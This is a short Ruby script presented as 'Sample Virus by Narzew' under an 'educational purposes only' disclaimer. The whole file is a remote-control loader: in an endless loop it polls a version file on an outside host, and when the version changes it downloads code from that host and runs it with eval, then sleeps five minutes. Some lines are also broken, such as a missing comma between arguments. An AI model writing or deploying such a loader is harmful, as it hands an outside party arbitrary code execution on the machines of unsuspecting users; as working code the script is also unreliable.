Sample Virus by Narzew

#**Sample Virus by Narzew
#**Educational Purposes Only!!!
#**I am do not responsible for anything you do with this!
#**Use at your own risk!
require 'open-uri'
$versionurl = "http://mojserwer.pl/virus/version.html"
$codeurl = "http://mojserwer.pl/virus/code.html"
$sleeptime = 5
$download = lambda{|x|open(x){|f|return f.read}
$fdownload = lambda{|x,y|open(x){|f|File.open(y,'wb'){|w|w.write(f.read)}}
loop do
    $old_ver = lambda{File.open('version1.dll'){|f|return f.read} rescue return 0}.call
    $fdownload.call($versionurl, 'version.dll')
    File.open('version.dll'){|f|$ver=f.read}
    if $ver == $old_ver
        lambda{}.call
    else
        $fdownload.call($codeurl 'main.dll')
        eval(File.open('main.dll'){|f|return f.read}) rescue lambda{}.call
        File.open('version1.dll','wb'){|f|f.write($ver)}
    end
    sleep 60*$sleeptime
end